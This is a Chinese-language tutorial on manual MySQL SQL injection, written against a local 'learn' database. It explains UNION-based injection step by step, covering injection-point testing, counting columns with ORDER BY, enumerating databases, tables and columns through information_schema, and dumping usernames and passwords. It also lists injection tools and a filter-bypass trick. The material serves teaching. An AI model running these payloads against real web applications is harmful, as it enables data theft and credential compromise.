information_schema
SQL基礎(chǔ)
1.1 什么是sql?
SQL(structured query language),即結(jié)構(gòu)化查詢語言,是關(guān)系數(shù)據(jù)庫的標(biāo)準(zhǔn)語言,SQL是一個(gè)通用的、功能強(qiáng)大的關(guān)系數(shù)據(jù)庫語言,但其功能并不僅僅是查詢。
1.2 mysql
MySQL是一個(gè)關(guān)系型數(shù)據(jù)庫管理系統(tǒng),由瑞典MySQL AB 公司開發(fā),目前屬于 Oracle 旗下產(chǎn)品。另外,MySQL是一種關(guān)聯(lián)數(shù)據(jù)庫管理系統(tǒng),關(guān)聯(lián)數(shù)據(jù)庫將數(shù)據(jù)保存在不同的表中,而不是將所有數(shù)據(jù)放在一個(gè)大倉庫內(nèi),這樣就增加了速度并提高了靈活性。來源于百度百科
SQL注入基礎(chǔ)
2.1 什么是SQL注入
所謂SQL注入,就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達(dá)到欺騙服務(wù)器執(zhí)行惡意的SQL命令。簡單來說,SQL注入就是一種通過操作輸入(可以是表單,可以是get請求,也可以是POST請求等)來插入或修改后臺(tái)SQL語句達(dá)到代碼執(zhí)行從而進(jìn)行攻擊的技術(shù)。
2.2 SQL注入攻擊產(chǎn)生的原因
出現(xiàn)SQL注入攻擊漏洞的主要原因是:許多網(wǎng)頁程序員在編寫代碼的時(shí)候,沒有對用戶輸入數(shù)據(jù)的合法性進(jìn)行嚴(yán)格的判斷和過濾,從而導(dǎo)致應(yīng)用程序存在該漏洞。
2.3 mysql注入攻擊的方法
對于mysql注入常用的方法主要是以下兩種:
(1)手工注入。
(2)使用工具注入
2.4 mysql手工注入原理
在mysql手工注入中主要是利用mysql自帶的information_schema數(shù)據(jù)庫,information_schema這個(gè)數(shù)據(jù)庫保存了MySQL服務(wù)器所有數(shù)據(jù)庫的信息。如數(shù)據(jù)庫名,數(shù)據(jù)庫的表,表欄的數(shù)據(jù)類型與訪問權(quán)限等。簡單點(diǎn)說,這臺(tái)MySQL服務(wù)器上,到底有哪些數(shù)據(jù)庫、各個(gè)數(shù)據(jù)庫有哪些表,每張表的字段類型是什么,各個(gè)數(shù)據(jù)庫要什么權(quán)限才能訪問,等等信息都保存在information_schema數(shù)據(jù)庫里面。
mysql手工注入詳解
3.1 基本環(huán)境介紹
涉及數(shù)據(jù)庫:learn,涉及表:users。

表users
3.2 判斷注入點(diǎn)
and 1=1(正常顯示), and 1=2(非正常顯示) ,但不限于此。也可以是3>1(正常顯示),3>5(非正常顯示)等。
3.2.1判斷uid是否存在注入點(diǎn)
本身查詢語句為:SELECT uid,username FROM users WHERE uid=1

本身查詢語句
3.2.2 判斷原理
SELECT uid,username FROM users WHERE uid=1 and 1=1

正常顯示
SELECT uid,username FROM users WHERE uid=1 and 1=2

非正常顯示
3.3 查字段數(shù)
3.3.1 order by排序
order by 主要是用于排序,用法基本為:order by <列名> [ASC | DESC]
列名可以是select后面的列名,也可以是數(shù)字,代表第一列或第幾列!查詢字段數(shù)也是根據(jù)order by排序的列名可以是數(shù)字來進(jìn)行判斷的。
3.3.2 查當(dāng)前查詢中的字段數(shù)
本身查詢語句:SELECT uid,username,phone FROM users WHERE uid=1

本身查詢結(jié)果
查當(dāng)前字段數(shù)目(列數(shù)):order by
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 3

正常顯示
SELECT uid,username,phone FROM users WHERE uid=1 ORDER BY 4

非正常顯示
因?yàn)楫?dāng)前頁面查詢的語句中只查詢?nèi)齻€(gè)字段,所以當(dāng)輸入按照第四列來進(jìn)行排序是就會(huì)出現(xiàn)異常。所以我們可用通過折半來進(jìn)行查詢列數(shù),前一個(gè)正常,后一個(gè)異常,那么該正常的就是當(dāng)前查詢中的列數(shù)。
3.4 查詢字段在頁面中的顯示位置
聯(lián)合查詢數(shù)據(jù)顯示位置,不成立條件+union select(如果前面是成立的話頁面中會(huì)看不到想要的信息),也可以是 前面條件不變+union select + limit m,1。(如果看到頁面中信息有union select查詢中的數(shù)字時(shí),那么也是可以看到字段顯示在頁面中的位置,但是如果查詢信息過多的話則不適用,因此推薦使用前面的那種方式)。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,3

顯示查詢字段在頁面中的位置
3.5 查詢基本信息
查詢基本信息主要是利用數(shù)據(jù)庫中的內(nèi)置函數(shù)來獲取信息。
1. version()——MySQL版本
2. user()——用戶名
3. database()——數(shù)據(jù)庫名
4. @@datadir——數(shù)據(jù)庫路徑
5. @@version_compile_os——操作系統(tǒng)版本
我們可以通過將對應(yīng)函數(shù)放到頁面顯示位中的位置數(shù)來查出相應(yīng)信息并顯示在頁面中。
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT VERSION(),user(),database()

查詢基本信息
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT @@datadir,@@version_compile_os,database()

查詢基本信息
另外,我們可以使用字符串連接函數(shù)一次性查詢多條信息:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,group_concat(version(),0x3B,user(),0x3B,database(),0x3B,@@datadir,0x3B,@@version_compile_os)
0x3B是分隔符, ; 的十六進(jìn)制!

使用連接函數(shù)查詢多條信息

連接函數(shù)例子
高級查數(shù)據(jù)庫:
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,SCHEMA_NAME FROM information_schema.SCHEMATA LIMIT 9,1
LIMIT 9,1是從第9個(gè)數(shù)據(jù)庫開始查詢一條記錄,使用這個(gè)可以逐個(gè)查詢數(shù)據(jù)庫中有哪些數(shù)據(jù)庫。

高級查數(shù)據(jù)庫
只運(yùn)行:SELECT 1,2,SCHEMA_name from information_schema.SCHEMATA LIMIT 8,3

limit m,n 例子
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(SCHEMA_NAME) FROM information_schema.SCHEMATA

查詢當(dāng)前連接中有哪些數(shù)據(jù)庫
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_SCHEMA) FROM information_schema.COLUMNS

查詢當(dāng)前連接中有哪些數(shù)據(jù)庫
3.6 查表名
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=learn)a

報(bào)錯(cuò)
這里需要將數(shù)據(jù)庫名轉(zhuǎn)化為十六進(jìn)制

轉(zhuǎn)化為十六進(jìn)制
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM (SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E)a

查詢指定數(shù)據(jù)庫表名
只運(yùn)行SELECT * FROM information_schema.tables WHERE TABLE_SCHEMA=0x6C6561726E

原理

原理
高級查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,TABLE_NAME FROM? information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

高級查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(TABLE_NAME) FROM? information_schema.TABLES WHERE TABLE_SCHEMA=0x6C6561726E

高級查表
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT TABLE_NAME) FROM? information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

高級查表
3.7 查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM? (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

查字段
這里可通過limit m,n循環(huán)查詢,也可使用GROUP_CONCAT函數(shù)一次性查詢。

一次性查詢
只運(yùn)行SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E AND TABLE_NAME=0x7573657273

原理
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,PRIVILEGES,COLUMN_NAME FROM (SELECT * FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E)a

原理
這里可以使用limit m,n來逐個(gè)(limit m,1)查詢。
高級查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

高級查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

高級查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA=0x6C6561726E

查字段

查字段
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(COLUMN_NAME) FROM information_schema.COLUMNS WHERE TABLE_NAME=0x7573657273

高級查字段
3.8 查字段內(nèi)容
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,username FROM users

查字段內(nèi)容
這里可使用limit m,1來逐個(gè)查詢,也可以使用GROUP_CONCAT函數(shù)一次性查詢。

使用連接函數(shù)
SELECT uid,username,phone FROM users WHERE uid=-1 UNION SELECT 1,2,GROUP_CONCAT(uid,0x3B,username,0x3B,password) FROM users

連接函數(shù)一次性查詢
工具注入
對于使用工具來進(jìn)行注入,最好時(shí)首先手工判斷下,如果是或者懷疑是,那么就可以丟給工具來進(jìn)行注入。
4.1 SQL注入工具
工具有但不限于以下幾種:sqlmap,BSQL、the mole、pangolin、enema sqli、SQLninja、sqlsus、safe3 sql injector、sql poizon、啊D、Havij、HDSI3.0、NBSI等。
4.2 工具注入優(yōu)缺點(diǎn)
工具注入是可以節(jié)省很多時(shí)間,但是僅僅靠工具也不一定能利用該漏洞,因?yàn)楣ぞ哂凶约旱木窒扌?,不如手工那么靈活,簡單來說,如果應(yīng)用程序有了一定的過濾,那么就需要靈活地使用手工注入,如果程序在把查詢語句插入到數(shù)據(jù)庫中時(shí)把<>過濾了,那么就可以根據(jù)這一特性進(jìn)行簡單的繞過,如u<>ni<>on s<>el<>ect 1,2,3。
information_schema簡單介紹
直接上圖
用于加深對上面涉及到的相關(guān)信息的理解。詳細(xì)信息請自行查看information_schema數(shù)據(jù)庫里面涉及的相關(guān)表信息!

information_schema

information_schema.columns

information_schema.schemata

information_schema.processlist

information_schema.tables

information_schema.partitions